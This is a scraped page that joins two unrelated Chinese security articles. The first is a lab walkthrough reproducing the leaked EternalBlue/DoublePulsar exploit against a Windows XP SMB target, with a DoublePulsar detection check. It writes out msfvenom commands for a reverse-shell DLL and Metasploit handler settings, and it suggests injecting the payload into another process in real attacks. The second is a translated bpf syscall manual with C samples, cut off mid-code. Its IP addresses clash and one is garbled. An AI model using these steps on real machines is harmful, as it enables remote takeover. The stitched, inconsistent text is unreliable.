> [中招检查工具](https://admin.gxhc520.cn/wp-> content/uploads/2017/04/%E4%B8%AD%E6%8B%9B%E6%A3%80%E6%9F%A5%E5%B7%A5%E5%85%B7.7z)
>
> 注：检查工具已重写了（各有所需，你可以根据自己需要修改）
## 一、 漏洞复现
### 1\. 前期准备
攻击系统信息列表如下：
<table> IP 系统信息 用途 备注 192.168.0.102 Windows 7旗舰版 攻击机器 需安装python2.6.6&pywin32
192.168.0.103 Kali linux 2 用于生成攻击payload(反弹shell等)和控制反弹的shell会话 生成reverse
shell 的dll 192.168.0.104 Windows xp p3 靶机
开启SMB服务，445端口(默认开启,默认防火墙已经过滤该类攻击，建议关闭系统防火墙后测试） </table>
在攻击机器中安装好python 2.6.6和pywin32,并设置好python的环境变量，以便我们在cmd中使用。
[
然后生成用于反弹shell的dll payload：
> msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.104 LPORT=8089
> -f dll > reverser_tcp.dll
[
在靶机上开启SMB服务（默认开启），查看服务是否生效，即看靶机上的445端口是否在监听（netstat -ano）：
[
### 2\. 工具使用
在win 7攻击机器上cmd中切换到windows目录输入:python fb.py
[
创建攻击项目日志目录文件夹log_dirs并设置针对攻击目标192.168.0.105的攻击日志目录
然后输入：user eternalblue
一路回车直到需要选择对应的攻击系统，如下图：
[
选择1使用常规部署方式（也就是在靶机上建立后门的部署方式,带有模糊测试）
然后一路回车到确认攻击目标信息。
接着使用use doublepulsar，然后一直回车直到如下图需要选择攻击的服务类型：
[
我们攻击的服务类型是SMB，所以输入0，但是如果下次攻击的远程登陆，即RDP的时候输入1
然后选择攻击系统的版本：
[
这里我们输入与靶机对应的系统版本，输入1.
然后，需要选择想执行的动作：
[
这里我们输入2，执行由kali linux 2 msf生成的反弹shell的dll后门（放在C盘根目录）：
[
回到win 7 攻击机器上设置好对应的反弹shell 的dll文件（payload）路径。
[
然后在Kali linux 2上运行msfconsole:
> # msfconsole
>
> msf > use exploit/multi/handler
>
> msf > set LHOST 168.0.104
>
> msf > set LPORT 8089
>
> msf > set PAYLOAD windows/meterpreter/reverse_tcp
>
> msf > exploit
效果如下图：
[
上图说明了msf在监听本地端口（看是否有反弹的shell返回,并控制反弹的shell会话）。
[
在输入完用于反弹shell的路径后，需要输入反弹shell需要注入的进程和命令行进程，由于已经有默认设置，我们直接回车就好了（当然，在真实攻击中，最好是注入到其他进程中）
回车后发现已在攻击机器上成功执行并反弹了shell到Kali linux2机器上：
[
看到已成功利用了（即获取到winxp 靶机的cmd 会话权限）：
[
成功控制靶机（能够以管理员权限控制住机器）：
[
## 二、 中招检查方法
将中招检查工具转到想要检查的机器（需要python环境）上，通过cmd进入到工具所在目录：
[
运行python detect_doublepulsar_by_c4td0g.py 进行检查(默认检查本地（127.0.0.1）：
[
看到上图的DOUBLEPULSAR DETECTED!!!说明已经中招！
本次shadowbroker放出的工具影响情况如下：
[
## 三、 总结
1、有人说写这个工具的人（NSA的人）编程水平不咋地？
2、有人说这是13年泄露的？
3、有人说不会用！？
思考时间：
1、很多东西实用就好，这是有针对性的;
2、源码里已说是12年开发的（或许更早）;
[
3、坐等大牛写文章;
4、看了源码还有些目录不存在，说明还有戏看！
5、NSA在12年就写出了这样的工具，现在他们有的工具是什么样的？
****
原文链接：<https://admin.gxhc520.cn/2017/04/16/shadowbroker_leak_nsa_tools_demo_and_hack_check_method/> | 社区文章 |
# BPF之路一bpf系统调用
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
BPF是内核中的顶级模块, 十分精妙, 相关书籍有限, 而且还都是从应用的视角看待BPF的, 我想写一系列文章, 从一个安全研究员的视角观察BPF,
以帮助更多的人学习和研究
linux内核观测技术一书中, 利用源码树中已有的包裹函数作为入门的例子, 层层包装导致编译时依赖繁多, 代码复杂无法一眼看到底层, 不是很友好
我们先明确: **用户空间所有的BPF相关函数, 归根结底都是对于bpf系统调用的包装** , 我们完全可以跳过这些包裹函数, 手写bpf相关系统调用
最好的学习资料永远是man, 我翻译了manual中关于bpf系统调用的部分, 如下
## 系统调用声明
* bpf – 在扩展BPF映射或者程序上执行命令
#include <linux/bpf.h>
int bpf(int cmd, union bpf_attr *attr, unsigned int size);
* 此函数其实在`linux/bpf.h`中没有定义, 需要手动定义, 其实就是对于系统调用的包裹函数
int bpf(enum bpf_cmd cmd, union bpf_attr *attr, unsigned int size)
{
return syscall(__NR_bpf, cmd, attr, size);
}
## 描述
`bpf()`系统调用会执行一系列exBPF相关的操作, eBPF类似于classic BPF(cBPF), 也用于进行网络包的过滤.
对于cBPF与eBPF内核都会在加载前进行静态分析, 以确保安全性
eBPF是cBPF的扩展, 包括调用一些固定的内核帮助函数(通过eBPF提供的BPF_CALL 操作码扩展), 并能访问一些共享数据结构, 如eBPF
maps
## eBPF设计架构
eBPF映射是为了保存多类型数据的通用数据结构. 数据类型都被是为二进制的, 所以用户在创建映射时只需要指明key和value的大小, 换而言之,
一个映射的key或者value可以是任意类型的数据
用户进程可以创建多个映射(用键值对是数据不透明的字节) 并且通过文件描述符fd访问. 不同的eBPF程序可以并行访问相同的映射.
映射里面保存什么取决于用户进程和eBPF程序
有一个特殊的映射类型, 称之为程序数组(program-array). 这个类型的映射保存引用其他eBPF进程的文件描述符. 在这个映射中进行查找时,
程序执行流会被就地重定位到另一个eBPF程序的开头, 并且不会返回到调用程序.嵌套最多32层 因此不会出现无限的套娃. 在运行时,
程序的文件描述符保存在一个可以修改的映射中, 因此程序可以进入某种要求有目的的改变. 程序数组映射中引用的程序都必须事先通过`bpf()`加载到内核中.
如果映射查找失败, 当前程序会继续执行
大体上, eBPF程序都是被用户进程加载, 并在进程退出时自动卸载的. 有些特殊的情况, 如`tc-bpf()`, 就算加载BPF程序的进程退出了,
BPF程序还会驻留在内核中. 在这个例子中, BPF程序的文件描述符被进程关闭后, 由tc子系统保持对BPF程序的引用.
因此一个BPF程序是否在内核中存活取决于 通过bpf()载入内核后如何进一步附加在别的子系统上
每一个eBPF程序都是结束前可以安全执行的指令集合. 内核中一个验证器会静态的检查一个BPF程序是否会终止, 是否安全. 在验证期间,
内核会增加这个eBPF程序使用的所有映射的引用计数, 因此附加的映射不能被移除, 直到程序被卸载
eBPF程序可以附加在各种事件上. 这些事件可以是网络数据包的到达, 追踪时间, 根据网络队列规则的分类事件, 以及未来会被加上的其他事件.
一个新事件会触发eBPF程序的执行, 也可能在eBPF映射中保存事件相关的信息. 除了保存数据, eBPF程序还可能调用一些固定的内核帮助函数集合
同一个eBPF程序可以附加到多个事件, 并且不同的eBPF程序可以访问同一个映射, 示意图如下
tracing tracing tracing packet packet packet
event A event B event C on eth0 on eth1 on eth2
| | | | | ^
| | | | v |
--> tracing <-- tracing socket tc ingress tc egress
prog_1 prog_2 prog_3 classifier action
| | | | prog_4 prog_5
|--- -----| |------| map_3 | |
map_1 map_2 --| map_4 |--
## 系统调用参数
`bpf()`系统调用的执行的操作是由cmd参数决定的. 每一个操作都有通过`attr`传递的对应参数,
这个参数是指向公用体类型`bpf_attr`的指针, `size`参数代表`attr`指针指向的数据长度
`cmd`可以是下面的值
* `BPF_MAP_CREATE`: 创建一个映射, 返回一个引用此此映射的文件描述符. close-on-exec标志会自动设置
* `BPF_MAP_LOOKUP_ELEM`在指定的映射中根据key查找一个元素, 并返回他的值
* `BPF_MAP_UPDATE_ELEM`在指定映射中创建或者更新一个元素
* `BPF_MAP_DELETE_ELEM`在指定映射中根据key查找并删除一个元素
* `BFP_MAP_GET_NEXT_KEY`在指定映射中根据key查找一个元素, 并返回下一个元素的key
* `BPF_PROG_LOAD`: 验证并加载一个eBPF程序, 返回一个与此程序关联的新文件描述符. close-on-exec标志也会自动加上
公用体`bfp_attr`由多种用于不同bfp命令的匿名结构体组成:
union bpf_attr {
struct { /* 被BPF_MAP_CREATE使用 */
__u32 map_type; /* 映射的类型 */
__u32 key_size; /* key有多少字节 size of key in bytes */
__u32 value_size; /* value有多少字节 size of value in bytes */
__u32 max_entries; /* 一个map中最多多少条映射maximum number of entries in a map */
};
struct { /* 被BPF_MAP_*_ELEM和BPF_MAP_GET_NEXT_KEY使用 */
__u32 map_fd;
__aligned_u64 key;
union {
__aligned_u64 value;
__aligned_u64 next_key;
};
__u64 flags;
};
struct { /* 被BPF_PROG_LOAD使用 */
__u32 prog_type;
__u32 insn_cnt;
__aligned_u64 insns; /* 'const struct bpf_insn *' */
__aligned_u64 license; /* 'const char *' */
__u32 log_level; /* 验证器的详细级别 */
__u32 log_size; /* 用户缓冲区的大小 size of user buffer */
__aligned_u64 log_buf; /* 用户提供的char*缓冲区 user supplied 'char *' buffer */
__u32 kern_version;
/* checked when prog_type=kprobe (since Linux 4.1) */
};
} __attribute__((aligned(8)));
## eBPF映射
映射是一种保存不同类型数据的通用数据结构. 映射可以在不同eBPF内核程序中共享数据, 也可以在用户进程和内核之间共享数据.
每一个映射都有如下属性
* 类型type
* 做多多少个元素
* key有多少字节
* value有多少字节
下列包裹函数展示了如何使用多种bpf系统调用访问映射, 这些函数通过cmd参数代表不同的操作
### BPF_MAP_CREATE
`BPF_MAP_CREATE`命令可用于创建新映射, 返回一个引用此映射的文件描述符
int bpf_create_map(enum bpf_map_type map_type,
unsigned int key_size,
unsigned int value_size,
unsigned int max_entries)
{
union bpf_attr attr = { //设置attr指向的对象
.map_type = map_type,
.key_size = key_size,
.value_size = value_size,
.max_entries = max_entries
};
return bpf(BPF_MAP_CREATE, &attr, sizeof(attr)); //进行系统调用
}
新映射的种类由`map_type`指定, 属性由`key_size, value_size, max_entries`指定, 如果成功的话返回文件描述符,
失败的话返回-1
`key_size, value_size`属性会在加载时被验证器使用, 来检查程序是否用正确初始化的key来调用`bfp_map_*_elem()`,
检查映射元素value是否超过指定的value_size.
例如一个映射创建时`key_size`为8, eBPF程序调用`bpf_map_lookup_elem(map_fd, fp - 4)`, 程序会被拒绝,
因为kernel内的助手函数`bpf_map_lookup_elem(map_fd, void *key)`期望从key指向的位置读入8字节,
但是`fp-4`(fp是栈顶)起始地址会导致访问栈时越界
类似的, 如果一个映射用`value_size=1`创建, eBPF程序包含
value = bpf_map_lookup_elem(...);
*(u32 *) value = 1;
这个程序会被拒绝执行, 因为他访问的value指针超过了value_size指定的1字节限制
目前下列值可用于`map_type`
enum bpf_map_type {
BPF_MAP_TYPE_UNSPEC, /* Reserve 0 as invalid map type */
BPF_MAP_TYPE_HASH,
BPF_MAP_TYPE_ARRAY,
BPF_MAP_TYPE_PROG_ARRAY,
BPF_MAP_TYPE_PERF_EVENT_ARRAY,
BPF_MAP_TYPE_PERCPU_HASH,
BPF_MAP_TYPE_PERCPU_ARRAY,
BPF_MAP_TYPE_STACK_TRACE,
BPF_MAP_TYPE_CGROUP_ARRAY,
BPF_MAP_TYPE_LRU_HASH,
BPF_MAP_TYPE_LRU_PERCPU_HASH,
BPF_MAP_TYPE_LPM_TRIE,
BPF_MAP_TYPE_ARRAY_OF_MAPS,
BPF_MAP_TYPE_HASH_OF_MAPS,
BPF_MAP_TYPE_DEVMAP,
BPF_MAP_TYPE_SOCKMAP,
BPF_MAP_TYPE_CPUMAP,
BPF_MAP_TYPE_XSKMAP,
BPF_MAP_TYPE_SOCKHASH,
BPF_MAP_TYPE_CGROUP_STORAGE,
BPF_MAP_TYPE_REUSEPORT_SOCKARRAY,
BPF_MAP_TYPE_PERCPU_CGROUP_STORAGE,
BPF_MAP_TYPE_QUEUE,
BPF_MAP_TYPE_STACK,
/* See /usr/include/linux/bpf.h for the full list. */
};
* `map_type`选择内核中一个可用的map实现. 对于所有的map类型, eBPF程序都使用相同的`bpf_map_look_elem()`和`bpf_map_update_elem()`助手函数访问.
### BPF_MAP_LOOK_ELEM
`BPF_MAP_LOOKUP_ELEM`命令用于在fd指向的映射中根据key查找对应元素
int bpf_lookup_elem(int fd, const void* key, void* value)
{
union bpf_attr attr = {
.map_fd = fd,
.key = ptr_to_u64(key),
.value = ptr_to_u64(value),
};
return bpf(BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr));
}
如果找到一个元素那么会返回0并把元素的值保存在value中, value必须是指向`value_size`字节的缓冲区
如果没找到, 会返回-1, 并把`errno`设置为`ENOENT`
### BPF_MAP_UPDATE_ELEM
`BPF_MAP_UPDATE_ELEM`命令在fd引用的映射中用给定的`key/value`去创建或者更新一个元素
int bpf_update_elem(int fd, const void* key, const void* value, uint64_t flags)
{
union bpf_attr attr = {
.map_fd = fd,
.key = ptr_to_u64(key),
.value = ptr_to_u64(value),
.flags = flags,
};
return bpf(BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr));
}
`flags`参数应该被指定为下面中的一个
* `BPF_ANY`创建一个新元素或者更新一个已有的
* `BPF_NOEXIST`只在元素不存在的情况下创建一个新的元素
* `BPF_EXIST`更新一个已经存在的元素
如果成功的话返回0, 出错返回-1, 并且`errno`会被设置为`EINVAL, EPERM, ENOMEM, E2BIG`
* `E2BIG`表示映射中的元素数量已经到达了创建时`max_entries`指定的上限
* `EEXIST`表示flag设置了`BPF_NOEXIST`但是`key`已有对应元素
* `ENOENT`表示flag设置了`BPF_EXIST`但是`key`没有对应元素
### BPF_MAP_DELETE_ELEM
`BPF_MAP_DELETE_ELEM`命令用于在fd指向的映射汇总删除键为`key`的元素
int bpf_delete_elem(int fd, const void* key)
{
union bpf_attr attr = {
.map_fd = fd,
.key = ptr_to_u64(key),
};
return bpf(BPF_MAP_DELETE_ELEM, &attr, sizeof(attr));
}
成功的话返回0, 如果对应元素不存在那么会返回-1, 并且`errno`会被设置为`ENOENT`
### BPF_MAP_GET_NEXT_KEY
`BPF_MAP_GET_NEXT_KEY`命令用于在fd引用的映射中根据`key`查找对应元素, 并设置`next_key`指向下一个元素的键
int bpf_get_next_key(int fd, const void* key, void* next_key)
{
union bpf_attr attr = {
.map_fd = fd,
.key = ptr_to_u64(key),
.next_key = ptr_to_u64(next_key),
};
return bpf(BPF_MAP_GET_NEXT_KEY, &attr, sizeof(attr));
}
如果`key`被找到了, 那么会返回0并设置指针`netx_pointer`指向下一个元素的键. 如果`key`没找到,
会返回0并设置`next_pointer`指向映射中第一个元素的键. 如果`key`就是最后一个元素呀了, 那么会返回-1,
并设置`errno`为`ENOENT`. `errno`其他可能的值为`ENOMEM, EFAULT, EPERM, EINVAL`.
这个方法可用于迭代map中所有的元素
### close(map_fd)
删除`map_fd`引用的映射. 当创建映射的用户进程退出时, 所有的映射都会被自动删除
## eBPF映射的种类
支持下列映射种类
### BPF_MAP_TYPE_HASH
Hash-table映射有如下特征
* 映射由用户空间的程序创建和删除. 用户空间的程序和eBPF程序都可以进行查找, 更新, 删除操作
* 内核负责键值对的分配和释放工作
* 当到达`max_entries`数量极限时, 助手函数`map_update_elem()`无法插入新的元素, (这保证了eBPF不会耗尽内存)
* `map_update_elem()`会自动替换已经存在的元素
Hash-table映射对于查找的速度优化过
### BPF_MAP_TYPE_ARRAY
数组映射有如下特征
* 为了最快的超找速度优化过. 在未来, 验证器或者JIT编译器可能会识别使用常量键的`lookup()`操作并将其有优化为常量指针. 既然指针和`value_size`在eBPF生存期间都是常数, 也有可能把一个非常量键优化为直接的指针运算(类似于C数组中的基址寻址). 换而言之, `array_map_lookup_elem()`可能会被验证器或者JIT编译器内联, 同时保留从用户空间的并发访问能力
* 在初始化时, 所有的数组元素都被预先分配并0初始化
* 映射的键就是数组的下标, 必须是4字节的
* `map_delete_elem()`以`EINVAL`错误失败,因为数组中的元素不能被删除
* `map_update_elem()`会以非原子的方式替换一个元素. 想要原子更新的话应该使用hash-table映射. 但是有一个可用于数组的特殊情况: 内建的原子函数`__sync_fetch_and_add()`可用于32或者64位的原子计数器上. 例如: 如果值代表一个单独的计数器, 可以被用在整个值自身, 如果一个结构体包含多个计数器,此函数可以被用在单独的计数器上. 这对于事件的聚合和统计来说十分有用
数组映射有如下用途
* 作为全局的eBPF变量: 只有一个元素, 键为0的数组. value是全局变量的集合, eBPF程序可使用这些变量保存时间的状态
* 聚合追踪事件到一组固定的桶中
* 统计网络事件, 例如数据包的数量和大小
### BPF_MAP_TYPE_PROG_ARRAY
一个程序数组映射是一种特殊的数组映射, 其映射的值只包含引用其他eBPF程序的文件描述符.
因此`key_size`和`value_size`都必须被指定为四字节(数组映射的index为4字节, 文件描述符为4字节).
此映射助手函数`bpf_tail_call()`结合使用
这意味着一个带有程序数组映射的eBPF程序可以从kernel一侧调用`void bpf_tail_call(void *context, void
*prog_map, unsigned int index);` 因而用程序数组中一个给定程序替换自己的程序执行流.
程序数组可以被当做一种切换到其他eBPF程序的跳表(jump-table), 被调用的程序会继续使用同一个栈. 当跳转到一个新程序时,
他再也不会返回到原来的老程序
如果用给的index在程序数组中没有发现eBPF程序(因为对应槽中没有一个有效的文件描述符, 或者index越界, 或者达到32层嵌套的限制),
会继续执行当前eBPF程序. 这部分(跳转指令后面)可用于默认情况的错误处理
程序数组映射在追踪或者网络中很有用, 可用于在自己的子程序中处理单个系统调用或者协议(原eBPF作为任务分配器, 根据每种情况调用对应的eBPF子程序).
此方法有助于性能改善, 并有可能突破单个eBPF程序的指令数量限制. 在动态环境下,
一个用户空间的守护进程可能在运行时间用更新版本的程序自动替换单个子程序, 以改变整个程序的行为. 比如在全局策略改版的情况下
## 加载eBPF程序
`BPF_PROG_LOAD`命令用于在内核中装载eBPF程序, 返回一个与eBPF程序关联的文件描述符
char bpf_log_buf[LOG_BUF_SIZE];
int bpf_prog_load(enum bpf_prog_type type, const struct bpf_insn* insns, int insn_cnt, const char* license)
{
union bpf_attr attr = {
.prog_type = type,
.insns = ptr_to_u64(insns),
.insn_cnt = insn_cnt,
.license = ptr_to_u64(license),
.log_buf = ptr_to_u64(bpf_log_buf),
.log_size = LOG_BUF_SIZE,
.log_level = 1,
};
return bpf(BPF_PROG_LOAD, &attr, sizeof(attr));
}
`prog_type`是下列可用程序类型之一
enum bpf_prog_type {
BPF_PROG_TYPE_UNSPEC, /* Reserve 0 as invalid program type */
BPF_PROG_TYPE_SOCKET_FILTER,
BPF_PROG_TYPE_KPROBE,
BPF_PROG_TYPE_SCHED_CLS,
BPF_PROG_TYPE_SCHED_ACT,
BPF_PROG_TYPE_TRACEPOINT,
BPF_PROG_TYPE_XDP,
BPF_PROG_TYPE_PERF_EVENT,
BPF_PROG_TYPE_CGROUP_SKB,
BPF_PROG_TYPE_CGROUP_SOCK,
BPF_PROG_TYPE_LWT_IN,
BPF_PROG_TYPE_LWT_OUT,
BPF_PROG_TYPE_LWT_XMIT,
BPF_PROG_TYPE_SOCK_OPS,
BPF_PROG_TYPE_SK_SKB,
BPF_PROG_TYPE_CGROUP_DEVICE,
BPF_PROG_TYPE_SK_MSG,
BPF_PROG_TYPE_RAW_TRACEPOINT,
BPF_PROG_TYPE_CGROUP_SOCK_ADDR,
BPF_PROG_TYPE_LWT_SEG6LOCAL,
BPF_PROG_TYPE_LIRC_MODE2,
BPF_PROG_TYPE_SK_REUSEPORT,
BPF_PROG_TYPE_FLOW_DISSECTOR,
/* See /usr/include/linux/bpf.h for the full list. */
};
eBPF程序类型的细节在后面, `bpf_attr`剩余区域按照如下设置
* `insns`是`struct bpf_insn`指令组成的数组
* `insn_cnt`是`insns`中指令的个数
* `license`是许可字符串, 为了与标志为`gpl_only`的助手函数匹配必须设置GPL
* `log_buf`是一个调用者分配的缓冲区, 内核中的验证器可以在里面保存验证的log信息. 这个log信息由多行字符串组成, 目的是让程序作者明白为什么验证器认为这个程序是不安全的(相当于编译器的日志), 随着验证器的发展, 输出格式可能会改变
* `log_size`是`log_buf`的缓冲区大小, 要是缓冲区不足以保存全部的验证器日志, 那么会返回-1, 并把`errno`设置为`ENOSPC`
* `log_level`是验证器日志的详细级别, 00表示验证器不会提供日志, 在这种情况下`log_buf`必须是空指针, `log_size`必须是0
对返回的文件描述符调用`close()`会卸载eBPF程序
映射可以被eBPF程序访问, 并被用于在eBPF程序之间, 在eBPF与用户程序之间交换数据. 例如, eBPF程序可以处理各种时间(kprobe,
packet)并保存他们的数据到映射中, 并且用户空间的程序可以从映射中获取数据. 反过来用户空间的程序可以把映射当做一种配置机制,
用eBPF程序检查过的值填充映射, 可以根据值动态的改变程序的行为
## eBPF程序种类
eBPF程序的种类决定了能调用哪些内核助手函数. 程序的种类也决定了程序的输入-`struct
bpf_context`的格式(也就是首次运行时传递给eBPF程序的一些数据)
例如, 作为socket过滤程序一个追踪程序不一定有一组相同的助手函数(可能都有的通用助手函数). 类似的,
一个追踪程序的输入(context)是一些寄存器值的集合, 对于socket过滤器来说是一个网络数据包
对于特定类型的eBPF程序可用函数集合未来可能会增加
下列程序类型是支持的
* `BPF_PROG_TYPE_SOCKET_FILTER`, 目前, `BPF_PROG_TYPE_SOCKET_FILTER`其可用函数集合如下
* `bpf_map_lookup_elem(map_fd, void *key)`: 在map_fd中寻找key
* `bpf_map_update_elem(map_fd, void *key, void *value)`: 更新key或者value
* `bpf_map_delete_elem(map_fd, void *key)`在map_fd中删除一个键
* `bpf_context`参数是一个指向`struct __sk_buff`(网络数据包缓冲区)的指针
* `BPF_PROG_TYPE_KPROBE`
* `BPF_PROG_TYPE_SCHED_CLS`
* `BPF_PROG_TYPE_SCHED_ACT`
## 事件
一但一个程序被加载, 他就可以附加到一个事件上. 各种内核子系统都有不同的方式去做到这一点
从linux3.19开始, 如下调用会把程序`prog_fd`附加到先前通过socket()创建的套接字`sockfd`上
setsockopt(sockfd, SOL_SOCKET, SO_ATTACH_BPF, &prog_fd, sizeof(prog_fd));
自从linux4.1开始, 如下调用会把`prog_fd`指向的eBPF程序附加到一个perf事件描述符`event_fd`,
这个描述符先前由`perf_event_open()`创建
ioctl(event_fd, PERF_EVENT_IOC_SET_BPF, prog_fd);
## 返回值
对于一次成功的调用, 返回值取决于操作
* `BPF_MAP_CREATE`: 返回与eBPF映射关联的文件描述符
* `BPF_PROG_LOAD`: 返回与eBPF程序关联的文件描述符
* 其他命令: 0
如果发生错误就返回-1, errno设置为错误原因
## 其他相关笔记
在linux4.4之前, 所有的bpf()命令都要求调用者有`CAP_SYS_ADMIN`的能力, 从linux4.4开始,
非特权用户可以创建受限的`BPF_PROG_TYPE_SOCKET_FILTER`类型的程序和相关的映射. 然后他们不能在映射里面保存内核指针,
现在只能使用如下助手函数
* get_random()
* get_smp_processer_id()
* tail_call())
* ktime_get_ns()
非特权访问可以通过向`/proc/sys/kernel/unprivileged_bpf_disabled`写入1来阻止
eBPF对象(映射和程序)可以在进程之间共享, 例如, 在fork()之后, 子进程会继承同一个指向eBPF对象的文件描述符.另外,
引用eBPF对象的文件描述符也可以通过UNIX domin socket传递.
引用eBPF对象的文件描述符也通过普通的方式使用`dup(2)`和类似的调用进行复制. 一个eBPF对象只在所有的文件描述符引用都关闭之后才会被析构
eBPF程序可以使用受限的C语音写, 然后被编译成eBPF字节码. 在受限的C语音中, 很多特性都被删去了, 例如: 循环, 全局变量, 可变参函数,
浮点数, 传递一个结构体作为函数参数. 内核源码的`samples/bpf/*_kern.c`文件中有些eBPF程序的样例
为了更好的性能, 内核包含一个能翻译eBPF字节码为本地机器指令的及时编译器(JIT, just-in-time compiler).
在linux4.15之前的内核, 这个JIT编译器是被默认禁止的,
但可以通过向`/proc/sys/net/core/bpf_jit_enable`写入一个整数字符串来控制其行为
* 0: 禁用JIT编译器(默认的)
* 1: 正常的编译
* 2: 调试模式. 生成的指令会以十六进制的性质被复制到内核log中, 这个字节码可以通过内核源码树中`tools/net/bpf_jit_disasm.c`来进行反编译
从4.15开始, 内核可以用`CONFIG_BPF_JIT_ALWAYS_ON`选项进行配置, 在这种情况下, JIT编译器总是会开启,
并且`bpf_jit_enable`也初始化为1并且不可改变. (内核配置选项可以缓解潜在的针对BPF解释器的攻击)
eBPF的JIT编译器目前对下列架构可用
* x86-64 (since Linux 3.18; cBPF since Linux 3.0);
* ARM32 (since Linux 3.18; cBPF since Linux 3.4);
* SPARC 32 (since Linux 3.18; cBPF since Linux 3.5);
* ARM-64 (since Linux 3.18);
* s390 (since Linux 4.1; cBPF since Linux 3.7);
* PowerPC 64 (since Linux 4.8; cBPF since Linux 3.1);
* SPARC 64 (since Linux 4.12);
* x86-32 (since Linux 4.18);
* MIPS 64 (since Linux 4.18; cBPF since Linux 3.16);
* riscv (since Linux 5.1).
## 代码样例
为了更加直观, 我不引入内核源码树中的`bpf_help.h`, 也不使用loader, 以更加直观的展示BPF的用法
### 数组映射的使用
//gcc ./bpf.c -o bpf
#include <stdio.h>
#include <stdlib.h> //为了exit()函数
#include <stdint.h> //为了uint64_t等标准类型的定义
#include <errno.h> //为了错误处理
#include <linux/bpf.h> //位于/usr/include/linux/bpf.h, 包含BPF系统调用的一些常量, 以及一些结构体的定义
#include <sys/syscall.h> //为了syscall()
//类型转换, 减少warning, 也可以不要
#define ptr_to_u64(x) ((uint64_t)x)
//对于系统调用的包装, __NR_bpf就是bpf对应的系统调用号, 一切BPF相关操作都通过这个系统调用与内核交互
int bpf(enum bpf_cmd cmd, union bpf_attr *attr, unsigned int size)
{
return syscall(__NR_bpf, cmd, attr, size);
}
//创建一个映射, 参数含义: 映射类型, key所占自己, value所占字节, 最多多少个映射
int bpf_create_map(enum bpf_map_type map_type, unsigned int key_size, unsigned int value_size, unsigned int max_entries)
{
union bpf_attr attr = { //设置attr指向的对象
.map_type = map_type,
.key_size = key_size,
.value_size = value_size,
.max_entries = max_entries
};
return bpf(BPF_MAP_CREATE, &attr, sizeof(attr)); //进行系统调用
}
//在映射中更新一个键值对
int bpf_update_elem(int fd, const void* key, const void* value, uint64_t flags)
{
union bpf_attr attr = {
.map_fd = fd,
.key = ptr_to_u64(key),
.value = ptr_to_u64(value),
.flags = flags,
};
return bpf(BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr));
}
//在映射中根据指针key指向的值搜索对应的值, 把值写入到value指向的内存中
int bpf_lookup_elem(int fd, const void* key, void* value)
{
union bpf_attr attr = {
.map_fd = fd,
.key = ptr_to_u64(key),
.value = ptr_to_u64(value),
};
return bpf(BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr));
}
int main(void){
//首先创建一个数组映射, 键和值都是4字节类型, 最多0x100个映射
int map_fd = bpf_create_map(BPF_MAP_TYPE_ARRAY, 4, 4, 0x100);
printf("BPF_map_fd: %d\n", map_fd);
//按照key->key+1的规律填充这个数组映射
for(int idx=0; idx<0x20; idx+=1){
int value = idx+1;
//记住, 数组映射中的元素预先分配, 已经存在, 不可删除, 因此flag要么是BPF_ANY, 要么是BPF_EXISTS, 表示更新一个已有的值
if(bpf_update_elem(map_fd, &idx, &value, BPF_EXIST)<0){
perror("BPF update error");
exit(-1);
}
}
//读入key
int key;
scanf("%d", &key);
//尝试在数组映射中查找对应的值
int value;
if(bpf_lookup_elem(map_fd, &key, &value)<0){
perror("BPF lookup error");
exit(-1);
}
printf("key: %d => value: %d\n", key, value);
}
运行结果
### hash映射的使用
//gcc ./bpf.c -o bpf
#include <stdio.h>
#include <stdlib.h> //为了exit()函数
#include <stdint.h> //为了uint64_t等标准类型的定义
#include <errno.h> //为了错误处理
#include <linux/bpf.h> //位于/usr/include/linux/bpf.h, 包含BPF系统调用的一些常量, 以及一些结构体的定义
#include <sys/syscall.h> //为了syscall()
//类型转换, 减少warning, 也可以不要
#define ptr_to_u64(x) ((uint64_t)x)
//对于系统调用的包装, __NR_bpf就是bpf对应的系统调用号, 一切BPF相关操作都通过这个系统调用与内核交互
int bpf(enum bpf_cmd cmd, union bpf_attr *attr, unsigned int size)
{
return syscall(__NR_bpf, cmd, attr, size);
}
//创建一个映射, 参数含义: 映射类型, key所占自己, value所占字节, 最多多少个映射
int bpf_create_map(enum bpf_map_type map_type, unsigned int key_size, unsigned int value_size, unsigned int max_entries)
{
union bpf_attr attr = { //设置attr指向的对象
.map_type = map_type,
.key_size = key_size,
.value_size = value_size,
.max_entries = max_entries
};
return bpf(BPF_MAP_CREATE, &attr, sizeof(attr)); //进行系统调用
}
//在映射中更新一个键值对
int bpf_update_elem(int fd, const void* key, const void* value, uint64_t flags)
{
union bpf_attr attr = {
.map_fd = fd,
.key = ptr_to_u64(key),
.value = ptr_to_u64(value),
.flags = flags,
};
return bpf(BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr));
}
//在映射中根据指针key指向的值搜索对应的值, 把值写入到value指向的内存中
int bpf_lookup_elem(int fd, const void* key, void* value)
{
union bpf_attr attr = {
.map_fd = fd,
.key = ptr_to_u64(key),
.value = ptr_to_u64(value),
};
return bpf(BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr));
}
//字符串表
char *strtab[] = {
"The",
"Dog",
"DDDDog"
};
int main(void){
//创建一个hash映射, 键为4字节的int, 值为一个char*指针, 因此大小分别是sizeof(int)与sizeof(char*), 最多0x100个
int map_fd = bpf_create_map(BPF_MAP_TYPE_HASH, sizeof(int), sizeof(char*), 0x100);
printf("BPF_map_fd: %d\n", map_fd);
//用strtable初始化hash映射
for(int idx=0; idx<3; idx+=1){
char *value = strtab[idx];
//hash映射中元素预先是不存在的, 因此可以设置BPF_NOEXIST或者BPF_ANY标志
if(bpf_update_elem(map_fd, &idx, &value, BPF_NOEXIST)<0){
perror("BPF update error");
exit(-1);
}
}
//读入键
int key;
scanf("%d", &key);
//查找对应值, 把值作为char*类型
char *value;
if(bpf_lookup_elem(map_fd, &key, &value)<0){
perror("BPF lookup error");
exit(-1);
}
printf("key: %d => value: %s\n", key, value);
}
运行例子
### 加载BPF程序
加载BPF程序涉及到如何用BPF汇编, 我们先不管BPF汇编, 直接使用固定的汇编代码, 然后加载后运行
//gcc ./bpf.c -o bpf
#include <stdio.h>
#include <stdlib.h> //为了exit()函数
#include <stdint.h> //为了uint64_t等标准类型的定义
